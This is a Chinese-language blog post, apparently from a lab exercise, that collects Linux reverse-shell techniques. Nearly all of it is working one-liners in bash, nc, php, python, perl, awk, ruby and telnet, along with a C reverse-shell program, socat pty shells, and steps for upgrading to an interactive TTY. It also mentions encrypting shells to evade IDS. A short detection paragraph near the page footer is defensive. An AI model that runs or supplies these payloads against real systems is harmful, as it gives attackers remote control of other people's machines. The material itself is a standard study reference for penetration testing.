linux反弹shell总结

实验环境
靶机:t2@192.168.0.144 (centos6.9)
攻击机:root@192.168.0.103 (kali2019-4)

一、各种反弹shell集合
0x01 nc -e反弹shell

nc -e反弹在实战是很少使用的,因为很多linux发型版本下默认安装的nc没有-e选项,但这个却很适合学习正向连接与反向连接原理。首先在靶机源码编译安装nc。

[t2@redwand tmp]$wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz && tar -xvzf netcat-0.7.1.tar.gz
[t2@redwand tmp]$ tar -zxvf netcat-0.7.1.tar.gz
[t2@redwand tmp]$ cd netcat-0.7.1
[t2@redwand netcat-0.7.1]$ ./configure --prefix=/tmp	#安装目录指定为/tmp目录
[t2@redwand netcat-0.7.1]$ make && make install
[t2@redwand netcat-0.7.1]$ /tmp/bin/nc -h	#查看-e选项
Mandatory arguments to long options are mandatory for short options too.
Options:
  -c, --close                close connection on EOF from stdin
  -e, --exec=PROGRAM         program to exec after connect

1、正向连接:
| 攻击机:192.168.0.103:XXXX | — shell —> | 靶机:192.168.0.144:6666 |
靶机t2@192.168.0.144 开启6666端口

[t2@redwand netcat-0.7.1]$ /tmp/bin/nc -e /bin/bash -ltvp 6666
Connection from 192.168.0.103:45414

攻击机root@192.168.0.103发起正向连接

root@redwand:~# nc 192.168.0.144 6666
whoami
t2

2、反向连接:
| 攻击机:192.168.0.103:6666 | <— shell — | 靶机:192.168.0.144:xxxx |
攻击机root@192.168.0.103开启6666端口

root@redwand:~# nc -lvp 6666
listening on [any] 6666 ...
192.168.0.144: inverse host lookup failed: Unknown host
connect to [192.168.0.103] from (UNKNOWN) [192.168.0.144] 44564

靶机t2@192.168.0.144反向发起连接

[t2@redwand netcat-0.7.1]$ /tmp/bin/nc -e /bin/bash 192.168.0.103 6666
0x02 bash反弹
/bin/bash >& /dev/tcp/192.168.0.103/6666 0>&1
bash -c 'bash -i >& /dev/tcp/192.168.0.103/6666 0>&1' #命令执行漏洞常用
0x03 php反弹
php -r '$sock=fsockopen("192.168.0.103",6666);exec("/bin/sh -i <&3 >&3 2>&3");'
0x04 rm反弹
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.103 6666  >/tmp/f
0x05 python反弹
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.103",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
0x06 perl反弹
perl -e 'use Socket;$i="192.168.0.103";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.103:6666");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
0x07 awk反弹
awk 'BEGIN{s="/inet/tcp/0/192.168.0.103/6666";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
0x08 exec反弹
0<&196;exec 196<>/dev/tcp/192.168.0.103/6666; sh <&196 >&196 2>&196
0x09 telnet反弹
telnet 192.168.0.103 6666 | /bin/bash | telnet 192.168.0.103 7777 #6666输入 7777显示
mknod test p && telnet 192.168.0.103  6666 0<test | /bin/bash 1>test
0x0A ruby反弹
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.0.103","6666");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
0x0B C语言反弹
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>

void usage();
char shell[]="/bin/sh";
char message[]="hacker welcome\n";
int sock;
int main(int argc, char *argv[]) {
if(argc <3){
usage(argv[0]);
}

struct sockaddr_in server;
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf("Couldn't make socket!n"); exit(-1);
}

server.sin_family = AF_INET;
server.sin_port = htons(atoi(argv[2]));
server.sin_addr.s_addr = inet_addr(argv[1]);

if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
printf("Could not connect to remote shell!n");
exit(-1);
}
send(sock, message, sizeof(message), 0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execl(shell,"/bin/sh",(char *)0);
close(sock);
return 1;
}
void usage(char *prog[]) {
printf("Usage: %s <reflect ip> <port>n", prog);
exit(-1);
}
[t2@redwand tmp]$ gcc cshell.c -o cshell
[t2@redwand tmp]$ ./cshell 192.168.0.103 6666
二、得到交互式shell

得到反弹shell后,我们使用切换用户的su命令,系统会报出standard in must be a tty,因此得到一个交互式shell,是linux渗透过程中必不可少一步。

root@redwand:~# nc -lvp 6666
listening on [any] 6666 ...
192.168.0.144: inverse host lookup failed: Unknown host
connect to [192.168.0.103] from (UNKNOWN) [192.168.0.144] 44642
[t2@redwand tmp]$ whoami
whoami
t2
[t2@redwand tmp]$ su -
su -
standard in must be a tty

1、python导入pty模块

python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'

2、socat直接反弹pty交互式shell
攻击机root@192.168.0.103监听6666端口

root@redwand:~# socat TCP-LISTEN:6666 -

靶机安装socat二进制文件
https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat

[t2@redwand tmp]$ wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat

靶机t2@192.168.0.144发起反弹请求

[t2@redwand tmp]$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.0.103:6666
三、语法高亮和自动补齐

1、语法高亮
我们得到交互式shell后,经常发现shell环境没有语法高亮,可以用export命令查看当前系统变量中变量TERM的设置,没有设置的话,无法高亮显示,需要手动设置。

export TERM=xterm-256color

为方便cd命令时,直接返回用户家目录~,可以设置HOME变量的值。

export HOME=/var/www

我们知道用户家目录的.bashrc设置了自定义函数,渲染了shell的颜色,因此可以找到用户的.bashrc,使用source命令加载渲染,使反弹shell达到运维管理员的效果。
在这里插入图片描述
2、tab键自动补齐
先control+z命令终止nc反弹,后在攻击机root@192.168.0.103执行以下两条命令,再次得到反弹shell后,获得命令tab补全功能。

stty raw -echo
fg

在这里插入图片描述

四、加密反弹shell过IDS。

详见上一篇博客OpenSSL反弹加密shell

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Linux 反弹 shell 是一种攻击技术,攻击者利用漏洞或恶意代码将远程 shell 注入受害者的系统,从而获取对系统的控制权。为了检测 Linux 反弹 shell,可以采取以下几种方法: 1. 监控网络活动:使用网络监控工具,如 tcpdump 或 Wireshark,检查网络流量是否存在异常连接或未知的传出连接。特别关注与反弹 shell 相关的常见端口(如 4444、31337)。 2. 检查系统进程:使用 ps 或 top 命令检查正在运行的进程列表,查找不明确的、不信任的或异常的进程。特别关注与反弹 shell 相关的常见进程名称(如 netcat、nc、socat)。 3. 检查系统文件:使用查找命令(如 find)或相关工具,检查系统文件是否存在未知的、可疑的或异常的文件。特别关注与反弹 shell 相关的常见文件名和路径(如 .bashrc、.bash_profile、.ssh/authorized_keys)。 4. 检查系统日志:查看系统日志文件,如 /var/log/auth.log 或 /var/log/secure,检查是否存在异常登录尝试或认证失败记录,以及与反弹 shell 相关的异常日志。 5. 使用专业工具:使用专门的安全工具,如 LOKI、Lynis、AIDE 等,来扫描系统并检测可能的反弹 shell 活动。这些工具可以自动化检测系统中的恶意活动和异常行为。 请注意,这些方法可以帮助您发现潜在的反弹 shell 活动,但不能保证绝对的安全。建议您定期更新系统、安装最新的安全补丁,并采取其他安全措施来确保系统的安全性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值